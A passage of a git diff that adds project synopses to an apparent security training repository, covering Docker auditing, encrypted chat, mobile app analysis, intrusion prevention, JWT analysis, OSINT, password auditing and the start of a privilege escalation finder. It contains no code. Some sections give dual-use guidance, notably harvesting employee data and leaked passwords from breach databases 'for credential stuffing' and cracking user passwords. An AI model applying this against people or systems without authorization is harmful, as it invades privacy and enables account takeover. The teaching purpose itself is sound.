and mitigation strategies, providing deployment guidance with performance considerations. Discuss limitations (your tool mitigates attacks but doesn't prevent them completely, very large attacks may still cause impact, upstream ISP-level mitigation may be needed for massive attacks). Compare to commercial DDoS protection services and explain how your implementation fits into layered DDoS defense. Include incident response workflows for DDoS attacks and communication templates for notifying stakeholders. + +## Key Concepts to Learn +- DDoS attack types and vectors +- Packet sniffing and traffic analysis +- Baseline establishment and anomaly detection +- Rate limiting algorithms +- Firewall rule automation +- Alert systems and escalation +- Network monitoring and dashboards + +## Deliverables +- Baseline traffic pattern establishment +- Real-time traffic monitoring +- Anomaly detection algorithms +- Automated rate limiting implementation +- Firewall rule generation and management +- Alert system with escalation +- Admin dashboards and controls diff --git a/SYNOPSES/intermediate/Docker.Security.Audit.md b/SYNOPSES/intermediate/Docker.Security.Audit.md new file mode 100644 index 00000000..7562e207 --- /dev/null +++ b/SYNOPSES/intermediate/Docker.Security.Audit.md @@ -0,0 +1,45 @@ +# Docker Security Audit Tool + +## Overview +Build a comprehensive Docker security auditing tool that scans Docker environments against CIS Docker Benchmark, identifies insecure running containers, checks for privileged mode misuse, and validates security configurations across entire container infrastructure. This project teaches container security, compliance frameworks, and demonstrates DevSecOps practices for containerized deployments. + +## Step-by-Step Instructions + +1. **Understand Docker security architecture and CIS benchmark** by learning Docker security layers: Docker daemon security, image security, runtime security, and orchestration security. Study CIS Docker Benchmark defining security best practices: 6 sections covering daemon configuration, image building, runtime configuration, Docker Swarm configuration, and compliance scoring. Research common Docker security misconfigurations: running containers as root, using privileged mode, exposing sensitive ports, mounting host filesystems unsafely, and running containers with excessive capabilities. + +2. **Implement Docker daemon configuration auditing** using Docker CLI and Docker API to examine daemon configuration: check whether TLS is required for socket connections, verify user namespacing is enabled, examine logging configuration (should be enabled with appropriate driver), check storage driver security (overlay2 preferred), and audit registry mirror security. Extract daemon configuration from /etc/docker/daemon.json or Docker API, validate against CIS benchmark requirements. + +3. **Build running container security analysis** querying Docker API to examine all running containers: extract container configuration (image, command, entrypoint, user running container, mounts, environment variables, ports, capabilities), identify security issues (running as root, privileged containers, mounting sensitive host paths, excessive port exposure), and compare against security policies. Implement lightweight compliance checks: each container receives score based on security posture. + +4. **Create privileged mode and capability analysis** identifying dangerous container configurations: flag containers running in privileged mode (essentially runs as root on host), identify containers with excessive capabilities (drop unused capabilities by default, add only necessary), and detect combinations of capabilities enabling privilege escalation. Educate on principle of least privilege: containers should have minimal required permissions. + +5. **Implement image scanning at runtime** for running containers: retrieve image ID, pull image metadata, check image age (old images likely have unpatched vulnerabilities), scan image layers for known vulnerabilities, analyze image contents. Build multi-layered analysis: base image quality, dependencies added in layers, and user-created customizations. + +6. **Build mount and volume security analysis** examining how containers mount storage: identify host volumes mounted with read-write access allowing containers to modify host filesystems, flag sensitive host paths being mounted (/etc, /sys, /proc, /root), detect secret mounting practices (how sensitive data reaches containers). Recommend volume usage best practices and temporary filesystems where appropriate. + +7. **Create Kubernetes/Orchestration security checks** if Docker runs on Kubernetes: examine PodSecurityPolicy configurations, analyze RBAC permissions, check network policies, audit service account permissions. Extend audit to orchestration security: container image registries (use private registries), admission controllers, audit logging, and secrets management. + +8. **Build comprehensive compliance reporting** generating audit reports scored against CIS benchmark: show overall compliance percentage, itemize specific CIS requirement violations, categorize findings by severity, provide remediation steps. Create container inventory showing all running containers with security assessment, generate executive summaries with compliance overview, and provide detailed technical reports for DevOps teams. Compare to commercial Docker security solutions, discuss limitations (automated scanning catches common issues but not all vulnerabilities, runtime behavior monitoring provides additional insights), and explain integration into CI/CD pipelines for pre-deployment security checks and runtime monitoring. + +## Key Concepts to Learn +- Docker architecture and security layers +- CIS Docker Benchmark requirements +- Docker API and configuration management +- Container runtime configuration +- Capabilities and privilege escalation +- Volume/mount security +- Image scanning and vulnerability analysis +- Compliance frameworks and scoring +- Kubernetes security integration + +## Deliverables +- Docker daemon configuration auditing +- Running container security assessment +- Privileged mode and capability analysis +- Image vulnerability scanning +- Mount and volume security checking +- Host path exposure detection +- Kubernetes PodSecurityPolicy auditing +- RBAC and network policy analysis +- CIS benchmark compliance scoring +- Detailed audit reporting and remediation diff --git a/SYNOPSES/intermediate/Encrypted.Chat.Application.md b/SYNOPSES/intermediate/Encrypted.Chat.Application.md new file mode 100644 index 00000000..969ef373 --- /dev/null +++ b/SYNOPSES/intermediate/Encrypted.Chat.Application.md @@ -0,0 +1,40 @@ +# Encrypted Chat Application + +## Overview +Build a peer-to-peer encrypted chat application using WebSockets with end-to-end encryption via asymmetric and symmetric cryptography, implementing Diffie-Hellman key exchange for secure key establishment. This project teaches cryptographic protocols, network communication, and demonstrates practical implementation of secure communication systems. + +## Step-by-Step Instructions + +1. **Understand cryptographic fundamentals and key exchange** by learning public-key cryptography (asymmetric encryption using public/private key pairs), symmetric encryption (faster but requires shared secret), and Diffie-Hellman key exchange (securely establishing shared secret over public channels). Study protocols that combine them: asymmetric crypto for initial key establishment and authentication, symmetric crypto for bulk message encryption (more efficient). Choose encryption libraries like `cryptography` for Fernet (pre-configured symmetric encryption) or build custom RSA+AES implementation. + +2. **Implement WebSocket server** using `websockets` or `socketio` library to handle real-time bidirectional communication between chat clients. Build connection management handling multiple simultaneous clients, message routing between sender and recipient(s), and graceful disconnection. Implement message queuing ensuring no messages are lost if recipient temporarily disconnects, and provide delivery confirmation when messages reach recipients. + +3. **Build Diffie-Hellman key exchange** establishing secure shared secrets between communicating peers over public channels. Implement DH parameter generation, public key computation and exchange with other participants, shared secret derivation, and session key generation. Use the established shared secret to initialize symmetric encryption for all subsequent messages, ensuring eavesdroppers cannot decrypt communication even if they see all exchanged data. + +4. **Implement end-to-end encryption** using symmetric encryption (Fernet or AES-GCM) to encrypt all chat messages with the key established through Diffie-Hellman exchange. Encrypt messages on sender's device before transmission, decrypt on recipient's device—ensure server never has access to plaintext or keys. Implement message authentication codes ensuring message integrity (detect tampering) and providing authenticity (confirm sender identity). + +5. **Create user authentication and identity management** establishing trust between communicating parties, preventing impersonation or man-in-the-middle attacks. Implement public key fingerprint verification (users manually verify fingerprints through out-of-band channels), certificate-based authentication, or trusted contact lists. Build UI allowing users to see key fingerprints and confirm they're communicating with intended parties. + +6. **Build React frontend** creating intuitive chat interface displaying conversations, encrypted message indicators, user presence status, and key fingerprint verification. Implement real-time message display as they arrive, typing indicators, message timestamps, and conversation history viewing. Add UI elements confirming message encryption status and preventing users from communicating with unverified identities. + +7. **Implement message history and persistence** storing encrypted message history locally on user devices with encryption keys never stored unencrypted. Provide options for viewing past conversations and searching messages. Implement conversation export functionality allowing users to archive conversations, and secure deletion ensuring old messages cannot be recovered from disk after deletion. + +8. **Build comprehensive documentation** explaining cryptography concepts used in implementation, discussing security properties and threat models (provides confidentiality and integrity, but not anonymity if usernames known), and providing deployment instructions. Compare your implementation to established secure chat applications (Signal, Wire, Element), discuss limitations and trade-offs in your implementation, explain how this fits into broader secure communications infrastructure, and include security considerations for production deployment. + +## Key Concepts to Learn +- Asymmetric and symmetric encryption +- Diffie-Hellman key exchange protocol +- WebSocket communication +- Message authentication and integrity +- User identity verification and trust +- React frontend development +- Secure local data storage + +## Deliverables +- WebSocket-based chat server +- Diffie-Hellman key exchange implementation +- End-to-end encryption with symmetric crypto +- User authentication and identity verification +- React frontend with encryption indicators +- Secure message history storage +- Multi-user peer-to-peer communication diff --git a/SYNOPSES/intermediate/Mobile.App.Security.Analyzer.md b/SYNOPSES/intermediate/Mobile.App.Security.Analyzer.md new file mode 100644 index 00000000..580e3fb6 --- /dev/null +++ b/SYNOPSES/intermediate/Mobile.App.Security.Analyzer.md @@ -0,0 +1,45 @@ +# Mobile App Security Analyzer + +## Overview +Build a mobile application security analysis tool that decompiles Android APKs and iOS IPAs, analyzes code and configuration for vulnerabilities including hardcoded secrets and insecure data storage, and generates OWASP Mobile Top 10 compliance reports. This project teaches mobile security, code analysis, and demonstrates techniques for assessing mobile application security. + +## Step-by-Step Instructions + +1. **Understand Android and iOS architecture, security models, and common vulnerabilities** by learning Android uses Java/Kotlin compiled to Dex bytecode (easily decompiled), iOS uses compiled Objective-C/Swift (harder to reverse engineer but analysis possible). Study storage mechanisms: Android SharedPreferences (insecure by default), databases, files; iOS Keychain (secure), NSUserDefaults (insecure). Research OWASP Mobile Top 10 vulnerabilities: insecure storage, broken cryptography, insecure authentication, poor code quality, insecure network communication, inadequate logging, weak reverse engineering protections, extraneous functionality, insecure data flow, poor configuration management. + +2. **Implement APK extraction and decompilation** for Android applications using `apktool` (resource extraction and rebuilding), `dex2jar` (convert Dex to Java class files), and `CFR` or `Procyon` (Java decompiler). Extract APK contents (manifest, resources, native libraries), decompile Dex files to readable Java code, and analyze resource files (XML layouts, strings, configuration). Parse AndroidManifest.xml extracting permissions, activities, services, intent filters, and broadcast receivers. + +3. **Build vulnerability scanning for insecure storage** detecting hardcoded secrets and insecure data storage: search code for hardcoded credentials (API keys, passwords, tokens), detect use of SharedPreferences without encryption, find file storage operations without proper permissions, and identify cleartext database storage. Analyze Intent usage checking for exported components receiving sensitive data and improper data passing between application components. + +4. **Create cryptography analysis** checking for improper encryption implementation: identify use of deprecated/weak algorithms (DES, MD5, SHA1), detect hardcoded cryptographic keys (should be generated/obtained securely), find custom cryptography implementations (usually contain vulnerabilities), and analyze key generation methods (should use secure randomness). Check for cryptographic misuse: encryption without authentication (should use authenticated encryption), weak key derivation, inadequate initialization vectors. + +5. **Implement network security analysis** checking for insecure communication: identify cleartext HTTP usage (should use HTTPS), detect improper SSL/TLS certificate validation (applications accepting any certificate), find hardcoded server addresses/API endpoints, and analyze certificate pinning implementation. Check for API key/token usage in network requests and credential exposure through logs or error messages. + +6. **Build permission analysis** auditing Android permission usage: extract all declared permissions from manifest, identify overly broad permissions (why does app need camera/location?), detect dangerous permission combinations suggesting unintended access, and flag permissions requested but not used indicating copied code or malicious intent. Analyze permission usage in code correlating permissions to functionality requiring them. + +7. **Create binary analysis for native code** using radare2 or Ghidra to analyze native libraries (.so files) for vulnerabilities: detect buffer overflows and memory safety issues, identify insecure cryptographic implementations, find hardcoded secrets in native code. For iOS applications, analyze Swift/Objective-C compiled code detecting similar patterns to native code analysis. + +8. **Build comprehensive reporting with OWASP compliance scoring** generating detailed analysis reports: categorize findings by OWASP Mobile Top 10 vulnerability type, assign severity scores to each finding, provide proof-of-concept showing vulnerable code snippets, and include remediation recommendations. Create compliance scoring indicating percentage of security best practices followed, generate executive summaries with risk overview, and provide detailed technical reports for developers. Compare findings to commercial tools (Checkmarx, Veracode, Fortify) and discuss limitations (static analysis misses runtime behavior, some vulnerabilities require dynamic analysis and testing). + +## Key Concepts to Learn +- Android APK structure and decompilation +- Dex bytecode and Java decompilation +- iOS IPA extraction and analysis +- Manifest analysis and permissions +- Code vulnerability patterns +- Cryptographic security assessment +- Network security analysis +- OWASP Mobile Top 10 framework +- Binary and native code analysis + +## Deliverables +- APK extraction and decompilation +- IPA extraction and analysis +- Manifest parsing and permission analysis +- Hardcoded secret detection +- Insecure storage identification +- Cryptographic vulnerability detection +- Network security analysis +- Binary code analysis for native libraries +- OWASP Mobile Top 10 compliance reporting +- Proof-of-concept vulnerability demonstration diff --git a/SYNOPSES/intermediate/Network.Baseline.Monitor.md b/SYNOPSES/intermediate/Network.Baseline.Monitor.md new file mode 100644 index 00000000..f154826c --- /dev/null +++ b/SYNOPSES/intermediate/Network.Baseline.Monitor.md @@ -0,0 +1,44 @@ +# Network Baseline Monitor + +## Overview +Build a network monitoring system that establishes normal traffic behavior baselines through packet analysis, detects deviations indicating potential compromises or attacks, and generates anomaly reports. This project teaches statistical analysis, network behavior modeling, and demonstrates anomaly detection techniques used in network security operations centers. + +## Step-by-Step Instructions + +1. **Understand network behavior modeling and anomaly detection principles** by learning that normal networks have relatively consistent patterns: traffic volume varies by time of day and day of week, specific services communicate on expected ports, particular traffic directions dominate, and protocol distributions remain relatively stable. Anomalies deviate from these patterns indicating potential incidents (compromised systems sending unusual traffic, reconnaissance scanning, data exfiltration, malware communications). Study baseline establishment: requires minimum collection period (weeks/months) capturing seasonal variations, filtering known anomalies from baseline, and establishing statistical models (mean, standard deviation, percentiles) for each metric. + +2. **Implement network traffic collection and aggregation** using packet sniffing (scapy) or NetFlow/sFlow collection to gather network data: capture or receive traffic statistics, aggregate by protocol, source/destination IP, port, and time window (per-minute, per-hour). Build efficient storage: raw packet capture is too voluminous, statistical aggregation reduces data to manageable sizes. Create time-series database (InfluxDB, Prometheus, or custom) storing traffic statistics with timestamps enabling historical analysis and comparison. + +3. **Build baseline establishment workflow** capturing normal network behavior: collect traffic statistics over extended period (minimum 2-4 weeks, ideally 3-6 months capturing seasonal patterns), compute statistics for each metric (traffic volume by protocol, top talkers, port usage, geographic distribution), and store baseline profiles. Implement multiple baseline profiles: hourly baselines (expect different traffic 9am vs. 2am), daily baselines (weekdays different from weekends), and seasonal baselines (holiday traffic patterns differ from normal). + +4. **Create statistical anomaly detection** comparing current traffic against baselines: for each metric, compute current values and compare to baseline distribution using statistical methods (z-score detection: flag if current value >3 standard deviations from mean, moving average detection: compare against recent historical average, IQR method: flag values beyond interquartile range). Combine multiple signals into composite anomaly score (weighted combination of individual metric anomalies). + +5. **Implement traffic pattern analysis** identifying specific anomalies beyond statistical deviations: detect port scanning (connection attempts to many ports from single source), data exfiltration (unusual volume to external IPs, especially to new/suspicious destinations), command-and-control communication (periodic connections to known malicious IPs, suspicious beaconing patterns), and lateral movement (unusual east-west traffic within network). Build pattern matching rules for known attack signatures. + +6. **Create alert and escalation logic** triggering notifications when anomalies detected: graduated alerting (low anomaly score = log only, medium = alert analysts, high = auto-escalate), contextual alerts (alert if same IP repeatedly triggers alerts indicating persistence), and alert correlation (multiple simultaneous anomalies suggest coordinated incident vs. isolated event). Implement alert suppression preventing fatigue from repeated same anomalies. + +7. **Build dashboards and visualization tools** displaying network behavior and anomalies: show baseline vs. current traffic metrics side-by-side for comparison, display anomaly timeline highlighting when deviations occurred, create geographic maps showing traffic origins/destinations, build protocol distribution comparisons. Provide drill-down capabilities: click on anomaly to view related traffic, analyze specific flows in detail, investigate source/destination systems. + +8. **Build comprehensive documentation** explaining baseline establishment methodology, anomaly detection techniques, and investigation procedures. Discuss limitations (baselines require time to establish, new legitimate services may appear similar to attacks, encrypted traffic limits visibility into content), compare to commercial network security platforms (network behavioral analysis appliances, managed detection and response services). Provide incident investigation procedures: when anomaly detected, what analysis steps to take, how to determine if legitimate or malicious, integration with incident response workflows. Include examples of detected anomalies in real-world incidents demonstrating value of baseline monitoring. + +## Key Concepts to Learn +- Network traffic collection and aggregation +- Time-series data storage +- Statistical modeling and baselines +- Anomaly detection algorithms +- Z-score and IQR methods +- Pattern recognition and signatures +- Alert correlation and escalation +- Network behavior analysis + +## Deliverables +- NetFlow/sFlow or packet-based collection +- Traffic aggregation and statistics +- Baseline establishment workflow +- Multi-temporal baselines (hourly, daily, seasonal) +- Z-score and moving average anomaly detection +- Pattern-based detection for specific attacks +- Alert generation and escalation +- Correlation engine for multi-signal detection +- Interactive dashboards and visualizations +- Drill-down and investigation capabilities diff --git a/SYNOPSES/intermediate/Network.Intrusion.Prevention.md b/SYNOPSES/intermediate/Network.Intrusion.Prevention.md new file mode 100644 index 00000000..ac69d22a --- /dev/null +++ b/SYNOPSES/intermediate/Network.Intrusion.Prevention.md @@ -0,0 +1,42 @@ +# Network Intrusion Prevention System + +## Overview +Build a real-time network security system that inspects packet payloads using Snort rules or custom signatures to detect and automatically block malicious traffic. This project teaches network intrusion detection methodology, signature-based threat detection, and demonstrates core functionality of enterprise IPS/IDS systems protecting networks. + +## Step-by-Step Instructions + +1. **Understand intrusion detection vs. prevention and signature-based detection** by learning that IDS (Intrusion Detection System) passively monitors traffic and alerts on suspicious patterns, while IPS (Intrusion Prevention System) actively blocks malicious traffic. Study signature-based detection: patterns matching known malicious activity (Snort rules define signatures), compared to anomaly-based detection (deviations from normal behavior). Research Snort rule format: rules contain action (alert, drop), protocol filter (TCP, UDP), source/destination IP and port, and payload patterns using content modifiers. + +2. **Implement packet capture and inspection** using `scapy` or `pyshark` to capture live network traffic, extract packet payloads, and analyze them against detection signatures. Build packet filtering logic: capture on specific interfaces, optionally filter by protocol or port to reduce processing overhead, and implement efficient payload extraction. Handle packet fragmentation and reassembly ensuring inspection works on reassembled streams rather than individual fragments that might evade detection. + +3. **Build Snort rule parsing and matching** by implementing a parser that reads Snort rule format files and extracts detection patterns: identify protocol, direction, source/destination, and payload content/modifiers. Implement pattern matching logic checking packet payloads against rule content specifications (exact string match, regular expressions, hex patterns). Support common modifiers (nocase for case-insensitive matching, distance/offset for relative positioning, isdataat for checking data existence). + +4. **Create custom signature development** allowing security teams to define additional detection signatures beyond standard Snort rules. Implement signature definition format (simple JSON or YAML) specifying protocol, port, payload pattern, and metadata. Support pattern types: exact strings, regular expressions, byte patterns (hexadecimal), and behavioral signatures (protocol state violations, malformed headers). Build rule testing capability allowing validation on traffic samples before deployment. + +5. **Implement packet blocking and firewall integration** that actively prevents malicious traffic when detected: drop packets at network interface level using `netfilter` (Linux) or equivalent Windows mechanisms, add dynamic firewall rules blocking attacker IPs, or redirect traffic to monitoring/logging system. Implement safeguards preventing false positives from causing excessive blocking: graduated response (alert first, then block on repeated matches), whitelist exceptions for legitimate traffic, and manual override mechanisms. + +6. **Build alert generation and logging** that triggers alerts when malicious packets detected, including packet details (source/destination, protocol, payload), matched rule, and severity classification. Log all matching packets for forensic analysis, maintain statistics on detected threats (which rules trigger most frequently, top attacking IPs, targeted services). Implement alert aggregation preventing notification fatigue from repeated matches of same attack. + +7. **Create management dashboards and rule management** displaying real-time detection statistics, active blocking rules, and historical trends of detected attacks. Implement rule management: enable/disable specific rules, create custom rules through UI, and import/export rule sets. Provide rule recommendation feature suggesting which rules are effective based on threat landscape and network-specific activity. + +8. **Build comprehensive documentation** explaining IDS/IPS concepts, Snort rule format and examples, and deployment best practices for your system. Discuss detection limitations (signatures only detect known attack patterns, novel attacks bypass signature detection necessitating anomaly detection), compare your implementation to production IPS systems (Snort, Suricata, commercial products), and explain how IPS fits into defense-in-depth strategy. Include rule tuning guidance, false positive management, and incident response workflows triggered by IPS alerts. + +## Key Concepts to Learn +- IDS/IPS architecture and deployment +- Packet reassembly and inspection +- Snort rule format and parsing +- Signature-based threat detection +- Pattern matching algorithms +- Firewall integration and blocking +- Alert aggregation and management +- Rule tuning and optimization + +## Deliverables +- Real-time packet capture and inspection +- Snort rule parser and matcher +- Custom signature development framework +- Packet blocking with firewall integration +- Alert generation and logging +- Detection statistics and trending +- Rule management and deployment +- Dashboard with real-time metrics diff --git a/SYNOPSES/intermediate/OAuth.Token.Analyzer.md b/SYNOPSES/intermediate/OAuth.Token.Analyzer.md new file mode 100644 index 00000000..d8cea47b --- /dev/null +++ b/SYNOPSES/intermediate/OAuth.Token.Analyzer.md @@ -0,0 +1,40 @@ +# OAuth Token Analyzer + +## Overview +Create a tool that decodes JWT (JSON Web Tokens) used in OAuth implementations, validates cryptographic signatures, checks for common vulnerabilities like algorithm confusion and expired tokens, and displays token claims. This project teaches authentication security, JWT mechanics, and demonstrates analysis techniques for OAuth/OpenID Connect implementations. + +## Step-by-Step Instructions + +1. **Understand JWT structure and components** by learning that JWTs consist of three Base64-encoded parts separated by periods: header (specifies algorithm), payload (contains claims about the subject), and signature (cryptographic proof of authenticity). Study common JWT algorithms (HS256 for HMAC-SHA256 using symmetric keys, RS256 for RSA signatures using public/private keys) and understand how each works. Learn what claims typically appear in tokens (sub for subject/user ID, exp for expiration, iat for issued-at time, aud for audience, etc.). + +2. **Implement JWT decoding functionality** using the `PyJWT` library to parse JWT tokens, extract header and payload components, and decode them from Base64 to readable JSON. Display the structured token information including algorithm used, all claims present, and token metadata like expiration time. Handle edge cases like malformed tokens and provide clear error messages when decoding fails. + +3. **Build signature validation capabilities** that verify JWT signatures using various algorithms: for HS256 tokens, validate HMAC signatures by computing expected signature with provided key; for RS256/ES256 tokens, validate signatures using public key certificates. Allow users to provide keys/certificates or test common weak secrets (common patterns like "secret", "password", application names). Report whether signatures are valid or indicate tampering/forgery. + +4. **Implement algorithm confusion detection** identifying the dangerous vulnerability where attackers can bypass signature verification by changing the algorithm field: detect when HS256 (symmetric) tokens could be confused with RS256 (asymmetric) algorithms, flag tokens using "none" algorithm (no signature required, highly dangerous), and identify algorithm downgrades. Explain the security implications of each detected vulnerability. + +5. **Create expiration and timing analysis** checking whether tokens are currently valid or have expired, calculating remaining validity period, and flagging tokens with unusual timing (expiration far in future suggesting weak security, very short expiration suggesting session tokens). Display issued-at time, expiration time, and calculated age of tokens for temporal analysis. + +6. **Build claims analysis and inspection** that displays all claims contained in token payload, identifies common claims (user ID, roles, permissions, email address), and flags suspicious claims. Detect privilege escalation attempts (roles or permissions beyond what user should have), check for sensitive information stored in token (passwords, API keys—never store these in tokens), and validate claim values are reasonable. + +7. **Implement batch analysis and logging** accepting multiple tokens for analysis, supporting token import from files, and generating reports showing vulnerabilities across analyzed tokens. Create a database tracking analyzed tokens with their vulnerabilities, allowing tracking of token patterns and identifying systematic security issues. Export findings in formats suitable for security teams and developers. + +8. **Build comprehensive documentation** explaining JWT concepts, discussing common OAuth/OIDC vulnerabilities, and providing examples of vulnerable vs. secure token implementations. Include guidance on detecting compromised tokens, handling token leakage, and implementing proper key management. Compare your tool to online JWT debuggers (jwt.io), discuss limitations (cannot validate without key material), and explain where JWT analysis fits into OAuth security assessment workflows during penetration testing and security audits. + +## Key Concepts to Learn +- JWT structure and components +- Cryptographic signature validation +- Algorithm confusion and security vulnerabilities +- HMAC and RSA signature algorithms +- Claim analysis and token inspection +- Expiration and timing validation +- OAuth/OIDC security concepts + +## Deliverables +- JWT decoding and parsing +- Multiple algorithm signature validation +- Algorithm confusion detection +- Expiration and timing analysis +- Claims inspection and anomaly detection +- Batch analysis and reporting +- Vulnerable token identification diff --git a/SYNOPSES/intermediate/OSINT.Reconnaissance.Framework.md b/SYNOPSES/intermediate/OSINT.Reconnaissance.Framework.md new file mode 100644 index 00000000..b36bed0d --- /dev/null +++ b/SYNOPSES/intermediate/OSINT.Reconnaissance.Framework.md @@ -0,0 +1,43 @@ +# OSINT Reconnaissance Framework + +## Overview +Build an Open Source Intelligence (OSINT) framework that aggregates publicly available information about targets from multiple sources including WHOIS, DNS, social media, breach databases, and search engines, automating reconnaissance for penetration testing and threat analysis. This project teaches information gathering techniques, API integration, and demonstrates tools used for threat intelligence and reconnaissance. + +## Step-by-Step Instructions + +1. **Understand OSINT techniques and information sources** by learning that OSINT collects intelligence exclusively from public sources (no hacking required): WHOIS provides domain/IP registration information and contact details, DNS queries reveal infrastructure, social media contains employee information and organizational structure, breach databases (HaveIBeenPwned, Breachbase) show compromised credentials, search engines and cached pages archive historical information, GitHub reveals infrastructure details and secrets in code. Study reconnaissance workflows: starting with target organization, discovering employee information, identifying infrastructure, finding application URLs, and collecting all information into profiles. + +2. **Implement WHOIS and domain information collection** using `whois` library and APIs to query domain registration details: registrant information (name, organization, address, email, phone), nameservers, creation/expiration dates, and registrar details. Build IP WHOIS queries determining IP ownership and ISP details. Extract metadata indicating hosting providers, DNS services, and organizational information from WHOIS records. + +3. **Build DNS reconnaissance functionality** querying multiple DNS record types (A, AAAA, MX, TXT, NS, CNAME, SOT) to map organizational infrastructure. Implement DNS enumeration discovering subdomains through zone transfers (if misconfigured), brute-force enumeration trying common subdomain names, and analyzing DNS propagation. Extract information about email servers (MX records), organizational domains (TXT records with DMARC/SPF), and hosting infrastructure. + +4. **Create social media and people search integration** extracting information about target employees from LinkedIn, GitHub, Twitter, and other platforms. Build APIs to search for employees, extract employment history, skills, and organizational structure. Query GitHub for code repositories revealing infrastructure details, architecture information, and sometimes accidentally committed secrets. Parse public profiles extracting email addresses, phone numbers, and organizational information. + +5. **Implement breach database queries** checking whether email addresses or usernames appear in known breaches using APIs like HaveIBeenPwned, Breachbase, or others. Retrieve compromised data associated with targets: leaked passwords (useful for credential stuffing attacks), personal information (dates of birth, phone numbers useful for social engineering), and behavioral information. Maintain local copies of popular breach databases for offline searching. + +6. **Build search engine and cached data collection** using Google Custom Search API, Shodan API, and other search services to discover web-accessible resources: find email addresses through Google search, discover subdomain information via search engines, use Shodan to find services running on non-standard ports, and retrieve historical data from Internet Archive's Wayback Machine. Extract information about previously published pages revealing infrastructure changes over time. + +7. **Create unified target profile generation** aggregating information from all sources into comprehensive dossier: compile employee information with social media profiles and organizational roles, correlate different identities (same person with multiple usernames), build infrastructure map showing hosting providers and services, identify email patterns and potential additional addresses. Generate timeline showing organizational changes and infrastructure modifications. + +8. **Build comprehensive reporting with visualization** displaying collected intelligence organized by category: company/organizational structure with employee hierarchy, infrastructure diagram showing discovered services and hosting, timeline of discovered information and changes, breach information associated with employees, and risk assessment based on information exposure. Create mind maps visualizing relationships between discovered entities, generate exportable reports for penetration testing documentation, and provide raw data exports for analysis tools. Compare to commercial OSINT frameworks (Maltego, SpiderFoot, TheHarvester) and discuss limitations (information availability varies, privacy concerns, legal considerations around data use). + +## Key Concepts to Learn +- OSINT techniques and information sources +- WHOIS and DNS reconnaissance +- Social media scraping and aggregation +- Breach database integration +- Search engine and archive querying +- Data correlation and entity linking +- Target profiling methodology +- Visualization and reporting + +## Deliverables +- WHOIS and domain information gathering +- DNS reconnaissance and enumeration +- Social media intelligence gathering +- Breach database integration +- Search engine reconnaissance +- Internet Archive (Wayback Machine) querying +- Unified target profile generation +- Relationship mapping and visualization +- Comprehensive OSINT reports diff --git a/SYNOPSES/intermediate/Password.Policy.Auditor.md b/SYNOPSES/intermediate/Password.Policy.Auditor.md new file mode 100644 index 00000000..2810298c --- /dev/null +++ b/SYNOPSES/intermediate/Password.Policy.Auditor.md @@ -0,0 +1,42 @@ +# Password Policy Auditor + +## Overview +Build a tool that audits Active Directory and local password policies against security best practices, tests for weak password implementations, and generates compliance reports identifying policy violations. This project teaches password security concepts, policy analysis, and demonstrates compliance assessment techniques used in security audits. + +## Step-by-Step Instructions + +1. **Understand password security best practices and policy standards** by learning NIST guidelines (minimum 12 characters, no composition requirements, avoid periodic changes unless compromised), CIS benchmarks, and regulatory standards (HIPAA, PCI-DSS, SOC 2). Study password policy components: minimum length requirements, complexity requirements (uppercase, lowercase, numbers, symbols), password age (how old password can be), password history (prevent reuse), account lockout policies (lock after N failed attempts). Understand trade-offs: complex requirements improve security but reduce usability and increase password reuse. + +2. **Implement Active Directory policy extraction** using LDAP queries to retrieve password policy settings from Domain, Default Domain Policy GPO (Group Policy Object). Extract policy parameters: password minimum length, complexity requirement, maximum age, minimum age, history count, lockout threshold, and lockout duration. Build functions that query multiple domains if forest contains multiple domains, and handle policies applied to specific OUs that override domain defaults. + +3. **Create local system policy analysis** for Windows systems, reading password policy settings from Security Policy or Registry: extract local account policies, user rights assignments, and audit policy settings. Build Linux policy analysis querying PAM (Pluggable Authentication Modules) configuration and checking password aging settings (/etc/login.defs, /etc/pam.d files). Support multiple operating systems through abstracted policy readers. + +4. **Build policy evaluation and scoring** against best practices and regulatory requirements: compare extracted policies against known good baselines, identify gaps (minimum length too short, no lockout policy, password history too low), and calculate compliance score. Implement configurable evaluation criteria allowing different security levels (strict for financial institutions, moderate for general business, basic for non-critical systems). Generate findings with severity levels indicating which policy gaps present greatest risk. + +5. **Implement password strength testing** attempting to crack user passwords: identify accounts with weak/default passwords (common patterns like "Password123!", admin credentials, company names), test password against wordlists and patterns. Build password strength calculator estimating entropy of each password and determining whether it meets minimum strength requirements. Test policy compliance of all user passwords (do they meet minimum length, complexity requirements?). + +6. **Create policy violation detection** identifying which users violate password policies: accounts with passwords older than policy maximum age (should have changed password), accounts with identical or similar passwords suggesting weak history implementation (users changing passwords in ways that avoid history), accounts with never-expiring passwords. Build user reports showing each policy violation with user details and recommendations. + +7. **Implement remediation recommendations and reporting** generating detailed compliance reports showing policy audit results, identified gaps, vulnerable passwords, and remediation steps. Provide recommendations for policy improvements (increase minimum length to 14 characters, implement account lockout after 5 failed attempts), create action items for administrative remediation, and calculate compliance percentage. Support different report formats for different audiences (executive summary with compliance score, detailed technical report with all findings). + +8. **Build comprehensive documentation** explaining password policy concepts and security rationale, providing benchmarks and regulatory requirements comparison, and including deployment guidance. Discuss limitations (password policy is one component of identity security, also need multi-factor authentication, secure password reset procedures, user training), compare to commercial compliance auditing tools, and explain how password auditing fits into broader identity and access management (IAM) assessments. Include examples of policy audit reports and remediation workflows. + +## Key Concepts to Learn +- Password security standards (NIST, CIS, regulatory) +- Active Directory and local policy structures +- Policy extraction and parsing +- Password strength assessment +- Compliance scoring and evaluation +- Remediation recommendation generation +- Audit reporting and documentation +- Multi-OS policy analysis + +## Deliverables +- Active Directory password policy extraction +- Local system policy analysis (Windows, Linux) +- Policy evaluation against best practices +- Password strength testing +- Policy violation identification +- User compliance reporting +- Remediation recommendations +- Comprehensive audit reports diff --git a/SYNOPSES/intermediate/Privilege.Escalation.Finder.md b/SYNOPSES/intermediate/Privilege.Escalation.Finder.md new file mode 100644 index 00000000..fa1f180b --- /dev/null +++ b/SYNOPSES/intermediate/Privilege.Escalation.Finder.md @@ -0,0 +1,44 @@ +# Privilege Escalation Path Finder + +## Overview +Build an analysis tool that examines Windows and Linux systems for privilege escalation vectors including SUID binaries, weak permissions, kernel exploits, and misconfigured services. This project teaches system hardening assessment, privilege escalation methodology, and demonstrates post-exploitation analysis techniques used in penetration testing. + +## Step-by-Step Instructions + +1. **Understand privilege escalation concepts and attack vectors** by learning that escalation converts limited user access to system/root access, enabling attackers to fully compromise systems. Study common vectors: SUID/SGID binaries (execute with elevated privileges), capabilities-based permissions (granular privilege delegation), weak file/directory permissions (overwrite critical files), kernel vulnerabilities (patches fix known exploits), misconfigurations (services running as root accepting user input), Sudo/sudoers 